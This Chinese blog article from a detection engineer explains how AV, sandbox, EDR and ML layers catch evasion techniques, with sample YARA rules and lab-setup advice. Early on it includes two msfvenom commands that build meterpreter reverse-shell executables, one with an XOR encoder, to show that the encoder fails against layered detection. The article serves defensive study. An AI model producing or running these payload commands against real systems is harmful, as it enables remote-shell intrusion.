“免杀”这两个字在安全圈子里属于典型的“人人都聊、没几个聊透”的话题。我这两年的工作重心是跟恶意样本和检测系统打交道从最开始只会拿杀毒软件扫一扫到后来天天对着 EDR 控制台看拦截日志再到现在自己写检测规则跟红队样本互相试探一个很深的感受是免杀根本不是一个工具而是一场持续对抗的中间环节。你绕过的每一层检测背后都对应一套完整的检测逻辑反过来你写的每一条检测规则也都是为了卡住某种绕过思路。这篇《免杀 检测上》先把“检测”这一侧拆开讲清楚。我们先不谈怎么绕而是搞清楚恶意样本到底在对抗什么——静态引擎、行为沙箱、EDR、机器学习模型分别在看什么每一种免杀手法在设计时到底想骗过的是哪一层。这些东西理清了后面再聊具体手法和技术细节才接得住。1. 免杀的对抗本质先搞清楚在和谁打架1.1 免杀不是工具而是一个对抗过程很多刚开始接触安全的人对免杀有一个误解觉得它就是一个工具运行一下就能让杀软“失明”。实际完全不是这样。免杀是一个工程过程它要解决的核心问题是一个被检测系统认定为恶意的样本在某个特定的检查节点上如何不被认出来。这个“检查节点”很有意思。它不是一个点而是一条链。一个可执行文件从落入磁盘到最终执行恶意行为中间要经过非常多层判定文件写入磁盘时实时监控会做一次静态扫描文件被上传到云查杀平台时云端的海量特征库和机器学习模型会再次评分文件运行后本地的行为监控会记录进程行为如果是可疑进程可能被拉进沙箱做动态分析在大型内网里还有 EDR、NDR、HIDS 在持续盯着行为轨迹。每绕过一层都叫“免杀”但不同层次的免杀难度天差地别。我见过不少人把一段 MSF 生成的 shellcode 用 XOR 编码器转了几圈本地查杀不报了就觉得“过杀软了”。结果一放到真实环境里运行三秒就被 EDR 按进程链和行为序列抓了出来。这里可以用一个很经典的例子说明什么叫“不同层次”。假设我们生成一个最原始的 payloadmsfvenom -p windows/x64/meterpreter/reverse_tcp LHOST192.168.1.10 LPORT4444 -f exe -o shell.exe这个文件只要被 Defender 扫到基本秒杀。特征太明显了入口代码、shellcode 结构、字符串全部都是公开的固定模式。再套一层编码器msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST192.168.1.10 LPORT4444 -e x86/xor_dynamic -i 10 -f exe -o shell_enc.exe这一版文件本身可能避开了本地静态特征但运行时一旦完成自解密内存里的原始 shellcode 还是会暴露。云端行为分析、内存扫描、EDR 的 ETW 事件照样能把它揪出来。所以我说免杀不是工具而是一个过程。理解这个过程的前提是先理解检测方到底在哪些环节上设置了“哨兵”。1.2 谁在检测AV、EDR、NDR、HIDS 各自盯什么“杀毒软件”只是整个检测体系里最外层的一环。不同平台负责的数据源不同检测时机也不同。我大概整理了一下现在企业环境里最常见的几个检测角色检测平台主要数据源检测时机典型关注点传统 AV 静态引擎文件字节、PE 元数据、字符串文件写入、读取、查杀扫描特征码、壳特征、启发式评分云查杀平台全网样本、威胁情报、机器学习模型文件上传、云端判定同源样本聚类、零日特征沙箱动态分析虚拟执行环境中的行为日志文件提交后执行API 调用序列、文件/注册表操作EDR进程行为、内核回调、ETW、Sysmon持续运行期进程链、注入行为、横向移动NDR网络流量元数据、载荷内容通信过程C2 域名、隧道特征、协议异常HIDS主机文件完整性、系统日志、登录事件持续运行期WebShell、持久化项、异常登录看这张表你就明白为什么“免杀”会变得越来越难。以前绕过一个本地静态引擎就够了现在要面对的是从文件到内存、从进程到网络、从单机行为到云端关联的立体检测网。拿 EDR 举例它除了做行为检测还会维护一份“进程家族谱”。例如一个 Office 进程启动 PowerShellPowerShell 又通过反射加载了一个程序集这个程序集内部再去调用 WinAPI 申请可执行内存。在传统 AV 眼里每个环节可能都“无害”但在 EDR 眼里这整条进程链就是一个异常模式。所以我觉得做检测的人第一课就是要建立“分层对抗”的思维。不能只盯着某一个特征而是要把检测节点串联起来看。你在这个节点放了哨兵对方就可能在下一个节点绕过去。理解这一点比背一百个免杀技巧都重要。2. 静态检测第一道门槛也是最容易踩到的墙2.1 特征码与 YARA 规则背后的匹配逻辑静态检测是绝大多数恶意样本遭遇的第一层阻力。很多刚入行的亲戚问我杀毒软件到底凭什么“看一眼”就知道文件有鬼答案是一个字配。具体来说就是特征码匹配。特征码不是一串神秘代码它本质上是检测引擎从恶意样本中提取出的、足够稳定的字节序列或者字符串组合。所谓稳定指的是这个序列在同类样本家族里反复出现但在正常软件里几乎不会出现。举个例子某个家族的木马会把服务端地址写成固定字符串或者它打包后的入口代码有固定几个字节偏移这些都可以作为特征码。检测引擎不需要知道这个字符串是什么意思只需要在文件里按字节去比对命中就给报警。这套逻辑到今天依然是静态查杀的基石只是匹配引擎变成了更灵活的 YARA 规则。我自己平时写规则大概长这样rule Suspicious_Stealer_KeyLog { meta: author example description Detect common stealer keylog strings strings: $s1 keylog_start ascii wide $s2 ClipboardData ascii wide $s3 application/x-vnd.chromium ascii wide $h1 { 48 8B 45 08 48 89 45 F8 } // 可疑移动寄存器的指令片段 condition: uint16(0) 0x5A4D and 2 of ($s*) or $h1 }这条规则里uint16(0) 0x5A4D是判断文件头是否为 MZPE 可执行文件后面是字符串和指令片段的匹配条件。真正写规则的时候我不会只用一个字符串因为单个字符串误报率太高我会让条件要求“命中 2 个不同维度”比如字符串加指令特征这样才稳。为什么特征码能跨多个版本生效因为攻击者的代码逻辑不会每次都变。哪怕他把整个程序加了一遍壳壳解密之后的原始代码里那些字符串和操作序列依然原封不动。所以很多免杀的第一反应是“改特征”比如改掉明文字符串、替换常量、插入无效指令目的就是把特征码搅乱。但这有个盲区特征改得越多代码的熵值、结构异常、导入表组合就越离谱。而静态检测不只有特征码这一招后面那些“软指标”恰恰最喜欢这种改出来的文件。2.2 PE 结构、导入表、熵值静态引擎还会抠哪些细节除了特征码现代静态引擎还会看 PE 文件的结构属性。就是那个由 DOS 头、NT 头、节区表、导入表、资源段组成的标准格式。恶意作者为了做免杀往往会对这些结构动刀子而每一刀都会留下痕迹。先看节区。正常编译的 PE 文件节区一般叫.text、.data、.rdata、.rsrc顺序和权限都比较固定。恶意样本常见的操作是自定义节名或者把多个节合并甚至直接把节权限设成“可读可写可执行”。静态引擎一旦发现某个节区权限是 RWX或者节名是一串随机字符基础分就会往上抬。再看导入表。一个程序调用了哪些 Windows API基本能反映它的意图。一个正常文字处理软件不会没事导入VirtualAllocEx、WriteProcessMemory、CreateRemoteThread这套组合。如果导入表里同时出现“内存申请”“跨进程写入”“远程线程创建”的函数哪怕文件本身没有匹配到任何特征码启发式引擎也会把它标记为高度可疑。我印象很深的一次分析是遇到一个被 Defender 拦截的未知样本。当时特征库还没有它的记录但启发式直接报了毒。我拉出它的导入表一看里面有URLDownloadToFileW和WinExec。一个程序下载一个文件并立即执行这行为意图太明显了。在这个案例里启发式判定比特征码快了一步。还有一个很常见的指标是熵值。香农熵在这里用来衡量一段数据的“混乱程度”。正常代码的熵值大约在 5 到 6 之间经过压缩、加密或加壳处理的代码熵值往往飙升到 7 以上。静态引擎不会单独拿熵值说事因为高熵文件可能是正常加壳的商业软件。但“高熵”一旦叠加了“无数字签名”“有可疑导入表”“有加壳特征字符串”这些因素就构成一条完整的可疑证据链。红队做免杀时如果只做了加密和加壳而没有处理熵值这个指标就很容易在这里被拦下来。我还想提一个被很多人忽略的静态特征数字签名。很多企业安全策略要求终端只允许运行已签名程序。如果一个 PE 文件没有签名或者签名信息与文件名、版本描述对不上即使杀软没报毒EDR 的应用程序控制策略也可能直接把它拦下来。免杀不只是“骗过杀毒引擎”还要面对一大堆基于信誉和策略的规则。3. 动态检测与行为分析绕过了静态还有第二层3.1 沙箱与虚拟机隔离实验的边界静态检测再强也怕一件事恶意代码根本不把恶意行为写进静态数据里它非要运行起来才露馅。于是检测方就有了第二种思路——在隔离环境里把样本跑一遍看它到底干了什么。这就是沙箱动态分析。沙箱会在一个虚拟机里运行可疑程序记录它执行的 API、创建的文件、写入的注册表项、发起的网络连接然后把行为序列送去跟已知恶意行为做比对。这套体系对付普通样本效率极高但它也有天然的边界。攻击者同样知道沙箱的存在所以催生了一大类“反沙箱”和“触发条件检测”技术。热词榜里的“触发条件检测”本质就是这么一回事。恶意样本先检查当前环境里有没有域控、有没有指定的用户名、系统时间是不是某个特定年份、鼠标有没有移动过、屏幕分辨率是不是太像虚拟机甚至有没有安装某款常用办公软件。所有检查都通过了才释放真正的恶意逻辑检查不通过就装作什么事情都没发生直接退出。我处理过一个例子邮件附件里带了一个 Word 文档本地沙箱跑出来一切正常没有任何恶意行为。后来拿到一个真实内网环境里执行它在解析到当前机器名是特定前缀之后才开始释放后续载荷。这说明判断一个样本是否为恶意不能只靠单次沙箱结果还必须结合触发条件做多环境验证。这也是为什么高级威胁分析平台往往同时跑多个操作系统版本、多种办公软件环境、多组触发诱饵而不是只用一个干净虚拟机。沙箱的另一层问题是时间。不少样本会先睡几分钟甚至几十分钟再执行恶意逻辑把分析窗口拖过去。应对办法也不复杂就是给沙箱设置足够长的观察时间同时用行为关联代替单点事件。毕竟“拖时间”本身在行为序列里也是一种奇怪信号。3.2 行为关联与事件溯源单看一个行为很多动作都可能是合法的。PowerShell 执行某个脚本合法吗合法。rundll32 启动一个 DLL 合法吗也合法。命令行里出现msbuild.exe合法吗还是合法。但这些动作如果组合成一个特定顺序就非常可疑了。行为检测的核心不是“单个 API 调用是否恶意”而是“一系列行为是否构成恶意链”。一个典型恶意链长这样Office 进程启动 PowerShell→PowerShell 调用 DownloadString 下载远程脚本→脚本执行反射加载→加载后的程序申请可执行内存。这条链走到第三步EDR 就可以判定了走到第四步基本上就是铁案。在 Windows 上EDR 靠什么拿到这些数据主要是三样东西ETW 事件、内核回调、以及 Sysmon 这类日志收集工具。ETW 能提供进程创建、线程创建、映像加载等底层事件内核回调可以监控句柄操作和内存分配Sysmon 则能把进程命令行、网络连接、文件创建这些信息结构化输出。我们在做检测规则的时候经常用 Sysmon 事件 ID 作为触发点。比如 Sysmon Event ID 1 进程创建Event ID 3 网络连接Event ID 8 创建远程线程Event ID 11 文件创建。一条检测规则的常见写法是进程创建事件里命令行参数同时匹配多条关键词再叠加同一时间窗口内的远程线程创建事件。热词里的“root 环境检测”可以看作同一个问题在移动端和主机侧的另一种映射。安卓恶意样本会检测设备是否 root、是否运行在模拟器里、是否被调试一旦发现分析痕迹就切换成无害表现。这类检测做检测的人必须识别因为“恶意样本识别分析环境”这个动作本身就是一个强信号。哪怕它后面什么都没做我们也知道它藏着东西。3.3 机器学习检测与误报权衡既然靠人写规则追不上攻击者的变化检测方就想到了机器学习。这也是“机器学习检测”成为热词的原因。机器学习检测在安全产品里大致分两个方向。一个方向是特征工程加传统模型比如从 PE 文件提取几百维特征包括熵值、节区结构、导入函数、字符串可读性再丢给随机森林或梯度提升树分类。另一个方向是行为序列建模把 API 调用序列当成自然语言处理中的“句子”用深度模型判断这个序列是恶意还是正常。ML 模型有一个显著优点不需要具体的特征码也能识别出“像恶意软件”的新样本。它看到的是一个样本在高维特征空间里和恶意样本家族靠得很近即使没有命中任何已知特征。但机器学习不是免杀的天敌。模型也存在非常实际的绕过手法。攻击者可以分析模型的特征权重往样本里注入不影响功能但能拉低恶意概率的“噪声”也可以通过对抗样本技术让模型把一个恶意文件误判成正常文件。最尴尬的问题还不是对抗而是误报。安全产品是在真实客户的业务机器上跑的。如果一个检测模型对正常软件的误报率是 0.1%在几万台终端的环境里每天也会产生大量告警。这些误报会很快消耗掉安全运营团队的精力导致他们麻木甚至把告警直接关掉。所以做检测的人永远在走钢丝把阈值调高漏报增加把阈值调低误报爆炸。最终的平衡点往往是靠海量真实业务环境里的白样本统计出来的而不是靠实验室数据集算出来的。4. 常见免杀思路以及检测方怎么接招4.1 从“隐藏坏特征”到“改变执行模型”免杀手法五花八门但归根到底可以分成几类。把每一类的“目标”搞清楚检测方的应对思路也就跟着清晰了。第一类是特征修改型。典型做法是加壳、加密、花指令、替换常量字符串。它攻击的是静态特征码和简单的静态扫描。加了壳之后原始代码被压缩或加密静态引擎在文件里找不到明文字符串自然就扫不出来。但它的弱点是壳本身有特征而且运行时必然要解密回原始代码。第二类是执行迁移型。典型做法是进程注入、DLL 劫持、傀儡进程、Atom bombing 这类内存执行技术。这类手法攻击的对象是传统 AV 的“扫描文件”逻辑因为恶意代码并不以独立的恶意文件形态落地它借用了别的正常进程的身体。比如傀儡进程就是创建一个正常进程挂起它替换它的内存镜像再恢复执行。磁盘上是一个完全正常的记事本恶意代码全部藏在内存里。第三类是白加黑型。利用有正规数字签名的可执行程序去加载一个恶意 DLL 或者恶意数据文件。因为主程序是可信厂商签名的静态信誉检查直接放行真正干坏事的是被加载进内存的恶意模块。很多安全防护默认信任签名程序对这个手法相当头疼。第四类是无文件型。恶意逻辑以 PowerShell 脚本、WMI 事件订阅、注册表回调等形式存在不直接落一个可执行文件。它攻击的是“静态扫描”和“文件信誉”的盲区让检测方根本找不到可以扫描的 PE 文件。我把这几类手法跟它们对应的检测信号整理成了表格方便对照免杀手法主要绕过目标典型特征线索检测侧重加壳/加密静态特征码高熵、壳特征、异常节区熵检测、壳识别、动态解密分析花指令/代码混淆静态特征码、启发式大量无效跳转、控制流异常基于行为的相似度聚类进程注入文件扫描、静态信誉远程线程、跨进程写入EDR 行为关联、内存扫描傀儡进程静态信誉、文件扫描进程挂起/恢复、内存替换内核回调、进程内存校验白加黑签名信任可信进程加载异常 DLLDLL 加载来源审计、模块校验无文件攻击静态扫描、文件信誉脚本行为、WMI、注册表持久化脚本日志审计、ETW 事件4.2 针对每种手法的检测实践每种手法都有对应的破解思路做检测的人要做的不是记住一个公式而是建立“对手会怎么改我就怎么锁”的思维。对付特征修改型最有效的不是去追特征码而是追壳和熵。高熵加无签名加异常节区这本身就是一条规则。壳识别也很重要很多壳哪怕改了壳的特征字符串它的解压入口代码还是有固定模式YARA 可以通过入口代码片段识别。另一个更狠的思路是壳终究要解开解开后的临时文件或内存镜像必须落地那就把这些临时产物也纳入扫描范围。对付执行迁移型EDR 的主场优势最明显。远程线程创建、写入远程进程内存、申请可执行内存这些 API 调用组合在正常业务软件里几乎不会出现。我在规则里常用的一组事件序列是CreateRemoteThread VirtualAllocEx WriteProcessMemory在 5 秒内同时出现。这组事件一出现基本不用看别的先隔离终端再说。再叠加“目标进程是系统进程或者安全软件进程”这个条件几乎可以做到零误报。对付白加黑型关键是把“签名信任”变成“签名加行为验证”。签名程序本身可信但它加载的 DLL 必须检查来源和哈希。正常业务软件加载的 DLL一般都在固定目录有稳定的数字签名恶意 DLL 往往是刚写入的、无签名或者签名异常的。用“可信进程异常模块加载”这个组合比单纯信任签名可靠得多。对付无文件型难点在于可执行文件不见了但行为日志还在。PowerShell 的 ScriptBlock Logging、WMI 活动记录、命令行参数审计这些数据源能把无文件攻击的痕迹拉出来。检测规则不关心文件长什么样只看某个进程是不是在短时间内执行了大量拼接字符串的 PowerShell 代码或者通过 WMI 创建了超出业务需求的事件订阅。接招的思路总结起来就一句话静态特征不够用了就把视野扩展到结构、行为、信任链和持久化痕迹上。免杀并不是真的“免”它只是把恶意特征从一个地方挪到了另一个地方。5. 检测工程落地与常见坑5.1 本地实验台怎么搭聊了这么多理论最后落到实践。很多人看了检测原理就想自己试但拿真实环境做测试是非常危险的。我自己的做法是搭一个本地隔离实验台把检测原理变成一条条能跑的规则和日志。基本的配置是两台虚拟机加一个日志分析端。一台虚拟机当“受害者”安装 Windows 10 专业版开启 Defender 实时保护同时安装 Sysmon 收集进程创建和网络连接日志另一台虚拟机当“样本源”放置测试样本和工具。日志分析端我用的是 ELKSysmon 日志通过 Winlogbeat 转发到 Elasticsearch再用 Kibana 查询事件序列。有一个细节很容易踩坑Windows Defender 默认开启云保护很多判定是云端完成的而云端有庞大的信誉库和机器学习模型样本一旦联网几乎必死。做本地测试时我建议先断开测试机的互联网或者在测试策略里临时关掉云保护这样观察到的拦截结果才是本地静态和本地行为检测的真实反映。否则你会发现样本明明在本地没有任何特征却还是被拦截根本分不清是哪一层检测生效。虚拟机一定要在干净状态下做快照。每次测试完直接回滚快照避免上一个样本的行为影响下一个测试。我见过有人图省事不重置快照结果测完一个样本后系统被持续篡改后面所有测试结果全都不准。还要强调一点所有测试样本都必须来源可控、环境隔离、测试完销毁。如果是在公司环境做检测研究要确保样本来源符合内部安全规定绝对不能在办公终端或者生产网络里执行可疑样本。我自己的测试机永远放在一个独立网段物理上跟业务网络断开的。5.2 自己写一条检测规则从对抗思路出发写检测规则这件事我个人最大的心得是不要从“恶意软件长什么样”出发要从“攻击者会怎么改”出发。比如我要写一条规则检测加壳类木马。如果我写“匹配 UPX 壳的特征字符串”那攻击者换个壳就绕过。更稳的写法是组合多个维度高熵、无数字签名、节区权限异常、导入表里有解密相关的 API。下面这条 YARA 规则是一个简化示例rule Suspicious_Packed_PE { meta: author example description PE with high entropy, missing signature and abnormal section condition: uint16(0) 0x5A4D and pe.entropy(0, pe.size_of_image) 7.2 and not pe.is_signed and for any section in pe.sections : (section.name .x or section.characteristics 0xE0000000 0xE0000000) }这里面最关键的是最后一行section.characteristics 0xE0000000 0xE0000000它检查节区是否同时具备可读、可写、可执行权限。在正常软件里这样的节区极少见在加壳或加密恶意样本里却是标配。这条规则如果只有熵值或只有节区权限误报会很高但三个条件叠加起来误报就大大下降。规则写完后要拿白样本集跑一遍看误报。我常用的白样本集来自系统自带的C:\Windows\System32目录、办公软件安装目录、开发工具目录大概准备两百个正常 EXE 和 DLL跑一遍规则目标是把误报降到 0。如果误报超过 1%我就会停下发版先回头调条件。运行规则用命令行即可yara64 -s suspicious_packed_pe.yar sample.exe-s参数会输出命中的字符串或者命中条件方便分析。真正常用的规则会复杂很多但核心思路永远是多维度交叉锁一个异常而不是单点匹配。5.3 常见排查问题速查我在带新人写检测规则的过程中总结了一些高频问题直接列成了一张速查表方便后面遇到问题快速对照。现象可能原因建议处理方式样本在 A 杀软被杀在 B 杀软不杀各家检测能力和特征库差异大用多引擎平台看分类结果不轻易下“免杀成功”结论本地特征明明没命中样本还是被杀云查杀、行为回退或者信誉库生效断网测试、关云保护逐层确认是哪一层拦截自己写的 YARA 规则在测试样本里报毒在白样本里也大量误报条件太宽单个维度过于宽松叠加熵值、签名、节区权限等多条件交叉样本运行后不报毒但 EDR 有告警行为检测生效静态层没拦住从 EDR 拉进程链和 API 事件按行为链定位同一个样本在不同时间测试结果不一样云端特征或信誉分值动态更新做好 hash 和时间戳记录复查威胁情报平台这条表里最容易被忽略的是第 5 条。云端检测不是固定的样本的判定会随着时间变化因为安全厂商会持续更新特征和信誉分。我见过有人拿同一个样本“今天过了杀软”就当作长期有效结果第二天早上一看云侧已经把这个 hash 标记为恶意。从这个角度看检测和免杀的对抗是动态的不是一次性的。写在最后我这两年做检测对抗最深的体会是真正有效的检测规则往往不是最聪明的而是最克制的。你不需要一条规则抓所有样本你需要的是每条规则都明确地知道自己要抓什么、会在什么场景误报、需要哪些数据源协同。单点规则很容易被绕过但由静态特征、结构异常、行为序列和信任链组成的检测链路会把绕过的成本越推越高。最后分享一个帮我少踩很多坑的小习惯任何一条检测规则发布之前先拿一个白样本集跑一遍。如果误报压不下去宁可先不发。这个习惯看起来简单但能省掉后面无限的凌晨告警和运维电话。这个系列的上篇先讲清楚检测侧的底牌下篇我会回到对抗视角把常见免杀手法放进受控环境里逐一手动记录它们在不同检测层上的表现。到时候再聊。